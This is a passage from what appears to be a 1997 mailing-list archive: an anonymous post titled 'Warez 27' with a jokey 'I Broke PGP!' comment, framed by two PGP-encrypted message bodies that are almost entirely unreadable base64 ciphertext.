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
O9aS870oOKyBOInF1o7P2hO/73APrF3S4Ck=
=PTfS
-----END PGP MESSAGE-----




From hg-p at dev.null  Thu Dec 18 01:52:40 1997
From: hg-p at dev.null (Human Gus-Peter)
Date: Thu, 18 Dec 1997 17:52:40 +0800
Subject: Warez 27
Message-ID: <199712180940.DAA22356@harrier.sasknet.sk.ca>



-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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
